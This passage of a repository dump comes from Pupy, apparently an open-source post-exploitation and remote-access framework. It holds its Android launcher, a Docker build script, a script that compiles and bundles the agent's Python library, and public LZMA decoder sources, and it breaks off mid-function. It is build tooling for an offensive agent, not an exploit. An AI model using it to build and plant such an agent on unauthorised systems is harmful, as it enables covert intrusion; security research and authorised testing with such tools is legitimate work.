Path to build artifact storage, absolute or relative to spec file\n# build_dir = ./.buildozer\n\n# (str) Path to build output (i.e. .apk, .ipa) storage\n# bin_dir = ./bin\n\n#    -----------------------------------------------------------------------------\n#    List as sections\n#\n#    You can define all the \"list\" as [section:key].\n#    Each line will be considered as a option to the list.\n#    Let's take [app] / source.exclude_patterns.\n#    Instead of doing:\n#\n#[app]\n#source.exclude_patterns = license,data/audio/*.wav,data/images/original/*\n#\n#    This can be translated into:\n#\n#[app:source.exclude_patterns]\n#license\n#data/audio/*.wav\n#data/images/original/*\n#\n\n\n#    -----------------------------------------------------------------------------\n#    Profiles\n#\n#    You can extend section / key with a profile\n#    For example, you want to deploy a demo version of your application without\n#    HD content. You could first change the title to add \"(demo)\" in the name\n#    and extend the excluded directories to remove the HD content.\n#\n#[app@demo]\n#title = My Application (demo)\n#\n#[app:source.exclude_patterns@demo]\n#images/hd/*\n#\n#    Then, invoke the command line with the \"demo\" profile:\n#\n#buildozer --profile demo android debug\n"
  },
  {
    "path": "client/android_sources/main.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms\n\nimport os\nimport platform\nimport time\n\nos.environ['KIVY_NO_FILELOG'] = 'yes'\nplatform.system = lambda: 'android'\n\nif __name__ == '__main__':\n    import sys\n    setattr(sys, 'executable', 'PythonService')\n\n    import pp\n\n    while True:\n        try:\n            pp.main()\n        except Exception as e:\n            import traceback\n            traceback.print_exc()\n            time.sleep(10)\n"
  },
  {
    "path": "client/android_sources/pp.py",
    "content": "from __future__ import print_function\nimport time\n\ndef main():\n    print(\"pp.py is not replaced with working one!\")\n    time.sleep(1)"
  },
  {
    "path": "client/build-docker.sh",
    "content": "#!/bin/bash\n\nSELF=`readlink -f \"$0\"`\nPUPY=`dirname \"$SELF\"`/../\nPUPY=`readlink -f \"$PUPY\"`\n\nDOCKER_COMMAND=${DOCKER_COMMAND:-docker}\nDOCKER_REPO=${DOCKER_REPO:-\"n1nj4sec\"}\nCLEAN=${CLEAN:-\"no\"}\n\nif [ ! -z \"$REPO\" ]; then\n    if [ \"$REPO\" == \"local\" ]; then\n        REPO=\"\"\n    else\n        REPO=\"$REPO/\"\n    fi\nelse\n    REPO=\"${DOCKER_REPO}/\"\nfi\n\necho $PUPY\n\nset -e\n\nstart_container() {\n    TOOLCHAIN=\"tc-$1\"\n    CONTAINER_NAME=\"build-pupy-$1\"\n    SOURCES=\"$2\"\n    SCRIPT=\"client/$SOURCES/build-docker.sh\"\n\n    (\n\techo\n\techo \"[+] Build $SOURCES with toolchain ${REPO}$TOOLCHAIN\"\n\tNEW=\"\"\n\t${DOCKER_COMMAND} container inspect ${CONTAINER_NAME} >/dev/null 2>/dev/null || NEW=1\n\tif [ ! -z \"$NEW\" ]; then\n\t    mkdir -p /tmp/pupy-build/${REPO}${TOOLCHAIN}\n\t    ${DOCKER_COMMAND} run --name ${CONTAINER_NAME} \\\n\t\t   -v ${PUPY}:/build/workspace/project ${REPO}${TOOLCHAIN} ${SCRIPT}\n\telse\n\t    ${DOCKER_COMMAND} start -ai ${CONTAINER_NAME}\n\tfi\n\n\tif [ \"$CLEAN\" == \"yes\" ]; then\n\t    ${DOCKER_COMMAND} rm ${CONTAINER_NAME}\n\tfi\n\techo\n    )\n}\n\nif [ ! -z \"$1\" ] && [ ! -z \"$2\" ]; then\n\tstart_container $1 $2\nelse\n    start_container windows-py3 sources-windows-py3\n    start_container pupy-linux-py3 sources-linux-py3\n\n\t#start_container linux32 sources-linux\n\t#start_container linux-amd64-py3 sources-linux-py3\n\t#start_container linux-amd64-py2 sources-linux-py2\n\t#start_container android android_sources\nfi\n"
  },
  {
    "path": "client/build_library_zip.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import print_function\n\nimport site\nimport sys\nimport sysconfig\nimport os\nimport imp\nimport importlib\nimport marshal\n\nimport shutil\nimport zipfile\n\nfrom glob import glob\nfrom distutils.core import setup\n\n\nTHIS = os.path.abspath(__file__)\nROOT = os.path.dirname(os.path.dirname(THIS))\n\nprint(\"THIS:\", THIS)\nprint(\"ROOT: \", ROOT)\n\nPATCHES=None\nif sys.version_info[0]==2 :\n    PATCHES = os.path.join(ROOT, 'pupy', 'library_patches_py2')\nelse:\n    PATCHES = os.path.join(ROOT, 'pupy', 'library_patches_py3')\nsys.path.insert(0, PATCHES)\n\nsys.path.append(os.path.join(ROOT))\n#sys.path.append(os.path.join(ROOT, 'pupy', 'pupylib'))\n\n\nsetattr(sys, \"__from_build_library_zip_compiler__\", True)\nfrom pupy.pupylib.PupyCompile import pupycompile\n\nsys.path.append(os.path.join(ROOT, 'pupy', 'packages', 'all'))\n\nif sys.platform == 'win32':\n    sys.path.append(os.path.join(ROOT, 'pupy', 'packages', 'windows', 'all'))\nelif sys.platform.startswith('linux'):\n    sys.path.append(os.path.join(ROOT, 'pupy', 'packages', 'linux', 'all'))\n    sys.path.append(os.path.join(ROOT, 'pupy', 'packages', 'posix', 'all'))\nelse:\n    sys.path.append(os.path.join(ROOT, 'pupy', 'packages', 'posix', 'all'))\n\nimport additional_imports\n\nprint(\"Load pupy\")\n\ntry:\n    import pupy.agent\n    print(\"Module loaded\")\n    pupy.agent.prepare(debug=True)\n    print(\"Prepare called\")\nexcept Exception as e:\n    print(\"Load pupy.. FAILED: {}\".format(e))\n    raise\n\nprint(\"Load pupy.. OK\")\n\n\nsys_modules = [\n    (x, sys.modules[x]) for x in sys.modules.keys()\n]\n\ncompile_map = []\n\n\ndef compile_py(path):\n    global compile_map\n    global fileid\n\n    fileid = len(compile_map)\n    compile_map.append(path)\n\n    data = None\n\n    try:\n        data = pupycompile(path, 'f:{:x}'.format(fileid), path=True)\n        print(\"[C] {} -> f:{:x}\".format(path, fileid))\n    except ValueError:\n        print(\"[C] {} -> failed\".format(path))\n\n    return data\n\n\nall_dependencies = set(\n    [\n        x.split('.')[0] for x, m in sys_modules\n        if '(built-in)' not in str(m) and x != '__main__'\n    ] + [\n        'Crypto', 'pyasn1', 'rsa', 'stringprep'\n    ]\n)\n\nall_dependencies.add('site')\nall_dependencies.add('sysconfig')\nall_dependencies.add('re')\n\nexceptions = (\n    'pupy', 'pupy.agent', 'pupy.network', 'pupyimporter', 'additional_imports', 'pupy_hooks', 'pupy_modules',\n    'network', 'pupyimporter', 'additional_imports', '_openssl'\n)\n\nall_dependencies = sorted(list(set(all_dependencies)))\nfor dep in list(all_dependencies):\n    for excluded in exceptions:\n        if dep == excluded or dep.startswith(excluded + '.'):\n            try:\n                all_dependencies.remove(dep)\n            except Exception as e:\n                print(\"could not remove dependency {}: {}\".format(dep, e))\n\n\nignore = {\n    '_cffi_backend.pyd',\n\n    # We don't use this anyway\n    'Crypto/PublicKey/ElGamal.py',\n    'Crypto/PublicKey/RSA.py',\n    'Crypto/PublicKey/_openssh.py',\n    'Crypto/PublicKey/_ec_ws.so',\n    'Crypto/PublicKey/_ec_ws.pyd',\n    'Crypto/PublicKey/ECC.py',\n    'Crypto/PublicKey/__init__.py',\n    'Crypto/PublicKey/DSA.py',\n\n    # If it's known that GSSAPI is used and required during bootstrap,\n    # it's worth to comment this line (adds 1MB)\n    'kerberos.so',\n\n    'json/tool.py',\n    'rsa/cli.py',\n}\n\nif sys.platform.startswith('linux'):\n    ignore.update({\n        'psutil/_pswindows.py'\n    })\nelif sys.platform.startswith('win'):\n    ignore.update({\n        '_psaix.py',\n        '_psbsd.py',\n        '_pslinux.py',\n        '_psosx.py',\n        '_pssunos.py'\n    })\n\nfor dep in ('cffi', 'pycparser', 'pyaes', 'distutils'):\n    if dep in all_dependencies:\n        all_dependencies.remove(dep)\n\nprint(\"ALLDEPS: \", all_dependencies)\n\n\nzf = zipfile.ZipFile(sys.argv[1], mode='w', compression=zipfile.ZIP_DEFLATED)\n\nzf.writestr(\n    'bundlevars.pyo',\n    pupycompile(\n        'bundlevars={}'.format(repr({\n            k: v for k, v in sysconfig.get_config_vars().items()\n            if k not in (\n                'BINDIR', 'BINLIBDEST', 'CONFINCLUDEDIR', 'CONFINCLUDEPY',\n                'COREPYTHONPATH', 'COVERAGE_INFO', 'COVERAGE_REPORT',\n                'DESTDIRS', 'DESTLIB', 'DESTSHARED', 'INCLDIRSTOMAKE',\n                'INCLUDEDIR', 'INCLUDEPY', 'INSTALL', 'INSTALL_DATA',\n                'INSTALL_PROGRAM', 'INSTALL_SCRIPT', 'INSTALL_SHARED',\n                'LIBDEST', 'LIBDIR', 'LIBFFI_INCLUDEDIR', 'LIBOBJDIR',\n                'LIBP', 'LIBPC', 'LIBPL', 'LIBSUBDIRS', 'MACHDEPPATH',\n                'MACHDESTLIB', 'MAKESETUP', 'MANDIR', 'MKDIR_P', 'PLATMACDIRS',\n                'PLATMACPATH', 'PYTHONPATH', 'RUNSHARED', 'SCRIPTDIR',\n                'SRC_GDB_HOOKS', 'TESTPROG', 'TESTPYTHON', 'abs_builddir',\n                'abs_srcdir', 'base', 'datarootdir', 'exec_prefix', 'platbase',\n                'prefix', 'projectbase', 'userbase'\n            )\n        })),\n        '<vars>', path=False\n    )\n)\n\nimport platform\n#TODO: update if needed\nif 'win' in sys.platform:\n    bits='64' if '64' in platform.architecture()[0] else '32'\n    for root, _, files in os.walk('C:\\\\Python3-'+bits+'\\\\Lib\\\\site-packages'):\n        for file in files:\n            if file.lower().endswith((\".dll\",\".pyd\")):\n                print(\"interesting file :\", file)\n            if file.lower() in ('_win32sysloader.pyd'):\n                zf.write(os.path.join(root, file), file)\n            if file.lower().startswith(\"pywintypes\") and file.lower().endswith(\".dll\"):\n                zf.write(os.path.join(root, file), file)\n\ntry:\n    content = set(ignore)\n    for dep in all_dependencies:\n        #spec=importlib.util.find_spec(dep)\n        #print(spec)\n        #print(dir(spec))\n        print(dep)\n        if dep.startswith(\"_cython_\") or dep in [\"cython_runtime\", \"pywin32_system32\"]:\n            continue\n        _, mpath, info = imp.find_module(dep)\n        #print(\"mpath\", mpath, \"info\", info)\n        if mpath == None:\n            continue\n        print(\"DEPENDENCY: \", dep, mpath)\n        if info[2] == imp.PKG_DIRECTORY:\n            print('adding package %s / %s' % (dep, mpath))\n            path, root = os.path.split(mpath)\n            for root, dirs, files in os.walk(mpath):\n                for f in list(set([x.rsplit('.', 1)[0] for x in files])):\n                    found = False\n                    need_compile = True\n                    for ext in ('.dll', '.so', '.pyd', '.py', '.pyc', '.pyo'):\n                        if (ext == '.pyc' or ext == '.pyo') and found:\n                            continue\n\n                        pypath = os.path.join(root, f+ext)\n                        if os.path.exists(pypath):\n                            ziproot = root[len(path)+1:].replace('\\\\', '/')\n                            zipname = '/'.join([ziproot,\n                                                f.split('.', 1)[0] + ext])\n                            found = True\n\n                            if ziproot.startswith('site-packages'):\n                                ziproot = ziproot[14:]\n\n                            if zipname.startswith('network/transports/') and \\\n                                    not zipname.startswith('network/transports/__init__.py'):\n                                continue\n\n                            # Remove various testcases if any\n                            if any(['/'+x+'/' in zipname for x in [\n                                'tests', 'test', 'SelfTest', 'SelfTests', 'examples',\n                                'experimental', '__pycache__'\n                            ]\n                            ]):\n                                continue\n\n                            if zipname in content:\n                                continue\n\n                            file_root = root\n\n                            if os.path.exists(os.path.join(PATCHES, f+'.py')):\n                                print('found [PATCH] for {}'.format(f))\n                                file_root = PATCHES\n                                ext = '.py'\n                            elif os.path.exists(os.path.sep.join([PATCHES] + zipname.split('/'))):\n                                print('found [PATCH ZROOT] for {}'.format(f))\n                                file_root = os.path.sep.join(\n                                    [PATCHES] + ziproot.split('/'))\n                                ext = '.py'\n\n                            if ext == '.py' and need_compile:\n                                bytecode = compile_py(os.path.join(file_root, f+ext))\n                                if not bytecode:\n                                    continue\n\n                                zf.writestr(zipname+'o', bytecode)\n                            else:\n                                zf.write(os.path.join(\n                                    file_root, f+ext), zipname)\n\n                            print('adding file : {}'.format(zipname))\n                            content.add(zipname)\n\n                            break\n        else:\n            if '<memimport>' in mpath:\n                continue\n\n            found_patch = None\n            for extp in ('.py', '.pyc', '.pyo'):\n                if os.path.exists(os.path.join(PATCHES, dep+extp)):\n                    found_patch = (os.path.join(PATCHES, dep+extp), extp)\n                    break\n\n            if found_patch:\n                if dep+found_patch[1] in content:\n                    continue\n\n                print('adding [PATCH] %s -> %s' %\n                      (found_patch[0], dep+found_patch[1]))\n                if found_patch[0].endswith('.py'):\n                    zf.writestr(\n                        dep+found_patch[1]+'o',\n                        compile_py(found_patch[0]))\n                else:\n                    zf.write(found_patch[0], dep+found_patch[1])\n\n            else:\n                _, ext = os.path.splitext(mpath)\n                if dep+ext in content:\n                    continue\n\n                print('adding %s -> %s' % (mpath, dep+ext))\n                if mpath.endswith(('.pyc', '.pyo', '.py')):\n                    srcfile = mpath\n                    if srcfile.endswith(('.pyc', '.pyo')):\n                        srcfile = srcfile[:-1]\n\n                    zf.writestr(dep+'.pyo', compile_py(srcfile))\n                else:\n                    zf.write(mpath, dep+ext)\n\nfinally:\n    zf.writestr('fid.toc', marshal.dumps(compile_map))\n    zf.close()\n"
  },
  {
    "path": "client/common/7zTypes.h",
    "content": "/* 7zTypes.h -- Basic types\n2013-11-12 : Igor Pavlov : Public domain */\n\n#ifndef __7Z_TYPES_H\n#define __7Z_TYPES_H\n\n#ifdef _WIN32\n/* #include <windows.h> */\n#endif\n\n#include <stddef.h>\n\n#ifndef EXTERN_C_BEGIN\n#ifdef __cplusplus\n#define EXTERN_C_BEGIN extern \"C\" {\n#define EXTERN_C_END }\n#else\n#define EXTERN_C_BEGIN\n#define EXTERN_C_END\n#endif\n#endif\n\nEXTERN_C_BEGIN\n\n#define SZ_OK 0\n\n#define SZ_ERROR_DATA 1\n#define SZ_ERROR_MEM 2\n#define SZ_ERROR_CRC 3\n#define SZ_ERROR_UNSUPPORTED 4\n#define SZ_ERROR_PARAM 5\n#define SZ_ERROR_INPUT_EOF 6\n#define SZ_ERROR_OUTPUT_EOF 7\n#define SZ_ERROR_READ 8\n#define SZ_ERROR_WRITE 9\n#define SZ_ERROR_PROGRESS 10\n#define SZ_ERROR_FAIL 11\n#define SZ_ERROR_THREAD 12\n\n#define SZ_ERROR_ARCHIVE 16\n#define SZ_ERROR_NO_ARCHIVE 17\n\ntypedef int SRes;\n\n#ifdef _WIN32\n/* typedef DWORD WRes; */\ntypedef unsigned WRes;\n#else\ntypedef int WRes;\n#endif\n\n#ifndef RINOK\n#define RINOK(x) { int __result__ = (x); if (__result__ != 0) return __result__; }\n#endif\n\ntypedef unsigned char Byte;\ntypedef short Int16;\ntypedef unsigned short UInt16;\n\n#ifdef _LZMA_UINT32_IS_ULONG\ntypedef long Int32;\ntypedef unsigned long UInt32;\n#else\ntypedef int Int32;\ntypedef unsigned int UInt32;\n#endif\n\n#ifdef _SZ_NO_INT_64\n\n/* define _SZ_NO_INT_64, if your compiler doesn't support 64-bit integers.\n   NOTES: Some code will work incorrectly in that case! */\n\ntypedef long Int64;\ntypedef unsigned long UInt64;\n\n#else\n\n#if defined(_MSC_VER) || defined(__BORLANDC__)\ntypedef __int64 Int64;\ntypedef unsigned __int64 UInt64;\n#define UINT64_CONST(n) n\n#else\ntypedef long long int Int64;\ntypedef unsigned long long int UInt64;\n#define UINT64_CONST(n) n ## ULL\n#endif\n\n#endif\n\n#ifdef _LZMA_NO_SYSTEM_SIZE_T\ntypedef UInt32 SizeT;\n#else\ntypedef size_t SizeT;\n#endif\n\ntypedef int Bool;\n#define True 1\n#define False 0\n\n\n#ifdef _WIN32\n#define MY_STD_CALL __stdcall\n#else\n#define MY_STD_CALL\n#endif\n\n#ifdef _MSC_VER\n\n#if _MSC_VER >= 1300\n#define MY_NO_INLINE __declspec(noinline)\n#else\n#define MY_NO_INLINE\n#endif\n\n#define MY_CDECL __cdecl\n#define MY_FAST_CALL __fastcall\n\n#else\n\n#define MY_NO_INLINE\n#define MY_CDECL\n#define MY_FAST_CALL\n\n#endif\n\n\n/* The following interfaces use first parameter as pointer to structure */\n\ntypedef struct\n{\n  Byte (*Read)(void *p); /* reads one byte, returns 0 in case of EOF or error */\n} IByteIn;\n\ntypedef struct\n{\n  void (*Write)(void *p, Byte b);\n} IByteOut;\n\ntypedef struct\n{\n  SRes (*Read)(void *p, void *buf, size_t *size);\n    /* if (input(*size) != 0 && output(*size) == 0) means end_of_stream.\n       (output(*size) < input(*size)) is allowed */\n} ISeqInStream;\n\n/* it can return SZ_ERROR_INPUT_EOF */\nSRes SeqInStream_Read(ISeqInStream *stream, void *buf, size_t size);\nSRes SeqInStream_Read2(ISeqInStream *stream, void *buf, size_t size, SRes errorType);\nSRes SeqInStream_ReadByte(ISeqInStream *stream, Byte *buf);\n\ntypedef struct\n{\n  size_t (*Write)(void *p, const void *buf, size_t size);\n    /* Returns: result - the number of actually written bytes.\n       (result < size) means error */\n} ISeqOutStream;\n\ntypedef enum\n{\n  SZ_SEEK_SET = 0,\n  SZ_SEEK_CUR = 1,\n  SZ_SEEK_END = 2\n} ESzSeek;\n\ntypedef struct\n{\n  SRes (*Read)(void *p, void *buf, size_t *size);  /* same as ISeqInStream::Read */\n  SRes (*Seek)(void *p, Int64 *pos, ESzSeek origin);\n} ISeekInStream;\n\ntypedef struct\n{\n  SRes (*Look)(void *p, const void **buf, size_t *size);\n    /* if (input(*size) != 0 && output(*size) == 0) means end_of_stream.\n       (output(*size) > input(*size)) is not allowed\n       (output(*size) < input(*size)) is allowed */\n  SRes (*Skip)(void *p, size_t offset);\n    /* offset must be <= output(*size) of Look */\n\n  SRes (*Read)(void *p, void *buf, size_t *size);\n    /* reads directly (without buffer). It's same as ISeqInStream::Read */\n  SRes (*Seek)(void *p, Int64 *pos, ESzSeek origin);\n} ILookInStream;\n\nSRes LookInStream_LookRead(ILookInStream *stream, void *buf, size_t *size);\nSRes LookInStream_SeekTo(ILookInStream *stream, UInt64 offset);\n\n/* reads via ILookInStream::Read */\nSRes LookInStream_Read2(ILookInStream *stream, void *buf, size_t size, SRes errorType);\nSRes LookInStream_Read(ILookInStream *stream, void *buf, size_t size);\n\n#define LookToRead_BUF_SIZE (1 << 14)\n\ntypedef struct\n{\n  ILookInStream s;\n  ISeekInStream *realStream;\n  size_t pos;\n  size_t size;\n  Byte buf[LookToRead_BUF_SIZE];\n} CLookToRead;\n\nvoid LookToRead_CreateVTable(CLookToRead *p, int lookahead);\nvoid LookToRead_Init(CLookToRead *p);\n\ntypedef struct\n{\n  ISeqInStream s;\n  ILookInStream *realStream;\n} CSecToLook;\n\nvoid SecToLook_CreateVTable(CSecToLook *p);\n\ntypedef struct\n{\n  ISeqInStream s;\n  ILookInStream *realStream;\n} CSecToRead;\n\nvoid SecToRead_CreateVTable(CSecToRead *p);\n\ntypedef struct\n{\n  SRes (*Progress)(void *p, UInt64 inSize, UInt64 outSize);\n    /* Returns: result. (result != SZ_OK) means break.\n       Value (UInt64)(Int64)-1 for size means unknown value. */\n} ICompressProgress;\n\ntypedef struct\n{\n  void *(*Alloc)(void *p, size_t size);\n  void (*Free)(void *p, void *address); /* address can be 0 */\n} ISzAlloc;\n\n#define IAlloc_Alloc(p, size) (p)->Alloc((p), size)\n#define IAlloc_Free(p, a) (p)->Free((p), a)\n\n#ifdef _WIN32\n\n#define CHAR_PATH_SEPARATOR '\\\\'\n#define WCHAR_PATH_SEPARATOR L'\\\\'\n#define STRING_PATH_SEPARATOR \"\\\\\"\n#define WSTRING_PATH_SEPARATOR L\"\\\\\"\n\n#else\n\n#define CHAR_PATH_SEPARATOR '/'\n#define WCHAR_PATH_SEPARATOR L'/'\n#define STRING_PATH_SEPARATOR \"/\"\n#define WSTRING_PATH_SEPARATOR L\"/\"\n\n#endif\n\nEXTERN_C_END\n\n#endif\n"
  },
  {
    "path": "client/common/LzmaDec.c",
    "content": "/* LzmaDec.c -- LZMA Decoder\r\n2016-05-16 : Igor Pavlov : Public domain */\r\n\r\n#include \"LzmaDec.h\"\r\n\r\n#include <string.h>\r\n\r\n#define kNumTopBits 24\r\n#define kTopValue ((UInt32)1 << kNumTopBits)\r\n\r\n#define kNumBitModelTotalBits 11\r\n#define kBitModelTotal (1 << kNumBitModelTotalBits)\r\n#define kNumMoveBits 5\r\n\r\n#define RC_INIT_SIZE 5\r\n\r\n#define NORMALIZE if (range < kTopValue) { range <<= 8; code = (code << 8) | (*buf++); }\r\n\r\n#define IF_BIT_0(p) ttt = *(p); NORMALIZE; bound = (range >> kNumBitModelTotalBits) * ttt; if (code < bound)\r\n#define UPDATE_0(p) range = bound; *(p) = (CLzmaProb)(ttt + ((kBitModelTotal - ttt) >> kNumMoveBits));\r\n#define UPDATE_1(p) range -= bound; code -= bound; *(p) = (CLzmaProb)(ttt - (ttt >> kNumMoveBits));\r\n#define GET_BIT2(p, i, A0, A1) IF_BIT_0(p) \\\r\n  { UPDATE_0(p); i = (i + i); A0; } else \\\r\n  { UPDATE_1(p); i = (i + i) + 1; A1; }\r\n#define GET_BIT(p, i) GET_BIT2(p, i, ; , ;)\r\n\r\n#define TREE_GET_BIT(probs, i) { GET_BIT((probs + i), i); }\r\n#define TREE_DECODE(probs, limit, i) \\\r\n  { i = 1; do { TREE_GET_BIT(probs, i); } while (i < limit); i -= limit; }\r\n\r\n/* #define _LZMA_SIZE_OPT */\r\n\r\n#ifdef _LZMA_SIZE_OPT\r\n#define TREE_6_DECODE(probs, i) TREE_DECODE(probs, (1 << 6), i)\r\n#else\r\n#define TREE_6_DECODE(probs, i) \\\r\n  { i = 1; \\\r\n  TREE_GET_BIT(probs, i); \\\r\n  TREE_GET_BIT(probs, i); \\\r\n  TREE_GET_BIT(probs, i); \\\r\n  TREE_GET_BIT(probs, i); \\\r\n  TREE_GET_BIT(probs, i); \\\r\n  TREE_GET_BIT(probs, i); \\\r\n  i -= 0x40; }\r\n#endif\r\n\r\n#define NORMAL_LITER_DEC GET_BIT(prob + symbol, symbol)\r\n#define MATCHED_LITER_DEC \\\r\n  matchByte <<= 1; \\\r\n  bit = (matchByte & offs); \\\r\n  probLit = prob + offs + bit + symbol; \\\r\n  GET_BIT2(probLit, symbol, offs &= ~bit, offs &= bit)\r\n\r\n#define NORMALIZE_CHECK if (range < kTopValue) { if (buf >= bufLimit) return DUMMY_ERROR; range <<= 8; code = (code << 8) | (*buf++); }\r\n\r\n#define IF_BIT_0_CHECK(p) ttt = *(p); NORMALIZE_CHECK; bound = (range >> kNumBitModelTotalBits) * ttt; if (code < bound)\r\n#define UPDATE_0_CHECK range = bound;\r\n#define UPDATE_1_CHECK range -= bound; code -= bound;\r\n#define GET_BIT2_CHECK(p, i, A0, A1) IF_BIT_0_CHECK(p) \\\r\n  { UPDATE_0_CHECK; i = (i + i); A0; } else \\\r\n  { UPDATE_1_CHECK; i = (i + i) + 1; A1; }\r\n#define GET_BIT_CHECK(p, i) GET_BIT2_CHECK(p, i, ; , ;)\r\n#define TREE_DECODE_CHECK(probs, limit, i) \\\r\n  { i = 1; do { GET_BIT_CHECK(probs + i, i) } while (i < limit); i -= limit; }\r\n\r\n\r\n#define kNumPosBitsMax 4\r\n#define kNumPosStatesMax (1 << kNumPosBitsMax)\r\n\r\n#define kLenNumLowBits 3\r\n#define kLenNumLowSymbols (1 << kLenNumLowBits)\r\n#define kLenNumMidBits 3\r\n#define kLenNumMidSymbols (1 << kLenNumMidBits)\r\n#define kLenNumHighBits 8\r\n#define kLenNumHighSymbols (1 << kLenNumHighBits)\r\n\r\n#define LenChoice 0\r\n#define LenChoice2 (LenChoice + 1)\r\n#define LenLow (LenChoice2 + 1)\r\n#define LenMid (LenLow + (kNumPosStatesMax << kLenNumLowBits))\r\n#define LenHigh (LenMid + (kNumPosStatesMax << kLenNumMidBits))\r\n#define kNumLenProbs (LenHigh + kLenNumHighSymbols)\r\n\r\n\r\n#define kNumStates 12\r\n#define kNumLitStates 7\r\n\r\n#define kStartPosModelIndex 4\r\n#define kEndPosModelIndex 14\r\n#define kNumFullDistances (1 << (kEndPosModelIndex >> 1))\r\n\r\n#define kNumPosSlotBits 6\r\n#define kNumLenToPosStates 4\r\n\r\n#define kNumAlignBits 4\r\n#define kAlignTableSize (1 << kNumAlignBits)\r\n\r\n#define kMatchMinLen 2\r\n#define kMatchSpecLenStart (kMatchMinLen + kLenNumLowSymbols + kLenNumMidSymbols + kLenNumHighSymbols)\r\n\r\n#define IsMatch 0\r\n#define IsRep (IsMatch + (kNumStates << kNumPosBitsMax))\r\n#define IsRepG0 (IsRep + kNumStates)\r\n#define IsRepG1 (IsRepG0 + kNumStates)\r\n#define IsRepG2 (IsRepG1 + kNumStates)\r\n#define IsRep0Long (IsRepG2 + kNumStates)\r\n#define PosSlot (IsRep0Long + (kNumStates << kNumPosBitsMax))\r\n#define SpecPos (PosSlot + (kNumLenToPosStates << kNumPosSlotBits))\r\n#define Align (SpecPos + kNumFullDistances - kEndPosModelIndex)\r\n#define LenCoder (Align + kAlignTableSize)\r\n#define RepLenCoder (LenCoder + kNumLenProbs)\r\n#define Literal (RepLenCoder + kNumLenProbs)\r\n\r\n#define LZMA_BASE_SIZE 1846\r\n#define LZMA_LIT_SIZE 0x300\r\n\r\n#if Literal != LZMA_BASE_SIZE\r\nStopCompilingDueBUG\r\n#endif\r\n\r\n#define LzmaProps_GetNumProbs(p) (Literal + ((UInt32)LZMA_LIT_SIZE << ((p)->lc + (p)->lp)))\r\n\r\n#define LZMA_DIC_MIN (1 << 12)\r\n\r\n/* First LZMA-symbol is always decoded.\r\nAnd it decodes new LZMA-symbols while (buf < bufLimit), but \"buf\" is without last normalization\r\nOut:\r\n  Result:\r\n    SZ_OK - OK\r\n    SZ_ERROR_DATA - Error\r\n  p->remainLen:\r\n    < kMatchSpecLenStart : normal remain\r\n    = kMatchSpecLenStart : finished\r\n    = kMatchSpecLenStart + 1 : Flush marker (unused now)\r\n    = kMatchSpecLenStart + 2 : State Init Marker (unused now)\r\n*/\r\n\r\nstatic int MY_FAST_CALL LzmaDec_DecodeReal(CLzmaDec *p, SizeT limit, const Byte *bufLimit)\r\n{\r\n  CLzmaProb *probs = p->probs;\r\n\r\n  unsigned state = p->state;\r\n  UInt32 rep0 = p->reps[0], rep1 = p->reps[1], rep2 = p->reps[2], rep3 = p->reps[3];\r\n  unsigned pbMask = ((unsigned)1 << (p->prop.pb)) - 1;\r\n  unsigned lpMask = ((unsigned)1 << (p->prop.lp)) - 1;\r\n  unsigned lc = p->prop.lc;\r\n\r\n  Byte *dic = p->dic;\r\n  SizeT dicBufSize = p->dicBufSize;\r\n  SizeT dicPos = p->dicPos;\r\n  \r\n  UInt32 processedPos = p->processedPos;\r\n  UInt32 checkDicSize = p->checkDicSize;\r\n  unsigned len = 0;\r\n\r\n  const Byte *buf = p->buf;\r\n  UInt32 range = p->range;\r\n  UInt32 code = p->code;\r\n\r\n  do\r\n  {\r\n    CLzmaProb *prob;\r\n    UInt32 bound;\r\n    unsigned ttt;\r\n    unsigned posState = processedPos & pbMask;\r\n\r\n    prob = probs + IsMatch + (state << kNumPosBitsMax) + posState;\r\n    IF_BIT_0(prob)\r\n    {\r\n      unsigned symbol;\r\n      UPDATE_0(prob);\r\n      prob = probs + Literal;\r\n      if (processedPos != 0 || checkDicSize != 0)\r\n        prob += ((UInt32)LZMA_LIT_SIZE * (((processedPos & lpMask) << lc) +\r\n            (dic[(dicPos == 0 ? dicBufSize : dicPos) - 1] >> (8 - lc))));\r\n      processedPos++;\r\n\r\n      if (state < kNumLitStates)\r\n      {\r\n        state -= (state < 4) ? state : 3;\r\n        symbol = 1;\r\n        #ifdef _LZMA_SIZE_OPT\r\n        do { NORMAL_LITER_DEC } while (symbol < 0x100);\r\n        #else\r\n        NORMAL_LITER_DEC\r\n        NORMAL_LITER_DEC\r\n        NORMAL_LITER_DEC\r\n        NORMAL_LITER_DEC\r\n        NORMAL_LITER_DEC\r\n        NORMAL_LITER_DEC\r\n        NORMAL_LITER_DEC\r\n        NORMAL_LITER_DEC\r\n        #endif\r\n      }\r\n      else\r\n      {\r\n        unsigned matchByte = dic[dicPos - rep0 + (dicPos < rep0 ? dicBufSize : 0)];\r\n        unsigned offs = 0x100;\r\n        state -= (state < 10) ? 3 : 6;\r\n        symbol = 1;\r\n        #ifdef _LZMA_SIZE_OPT\r\n        do\r\n        {\r\n          unsigned bit;\r\n          CLzmaProb *probLit;\r\n          MATCHED_LITER_DEC\r\n        }\r\n        while (symbol < 0x100);\r\n        #else\r\n        {\r\n          unsigned bit;\r\n          CLzmaProb *probLit;\r\n          MATCHED_LITER_DEC\r\n          MATCHED_LITER_DEC\r\n          MATCHED_LITER_DEC\r\n          MATCHED_LITER_DEC\r\n          MATCHED_LITER_DEC\r\n          MATCHED_LITER_DEC\r\n          MATCHED_LITER_DEC\r\n          MATCHED_LITER_DEC\r\n        }\r\n        #endif\r\n      }\r\n\r\n      dic[dicPos++] = (Byte)symbol;\r\n      continue;\r\n    }\r\n    \r\n    {\r\n      UPDATE_1(prob);\r\n      prob = probs + IsRep + state;\r\n      IF_BIT_0(prob)\r\n      {\r\n        UPDATE_0(prob);\r\n        state += kNumStates;\r\n        prob = probs + LenCoder;\r\n      }\r\n      else\r\n      {\r\n        UPDATE_1(prob);\r\n        if (checkDicSize == 0 && processedPos == 0)\r\n          return SZ_ERROR_DATA;\r\n        prob = probs + IsRepG0 + state;\r\n        IF_BIT_0(prob)\r\n        {\r\n          UPDATE_0(prob);\r\n          prob = probs + IsRep0Long + (state << kNumPosBitsMax) + posState;\r\n          IF_BIT_0(prob)\r\n          {\r\n            UPDATE_0(prob);\r\n            dic[dicPos] = dic[dicPos - rep0 + (dicPos < rep0 ? dicBufSize : 0)];\r\n            dicPos++;\r\n    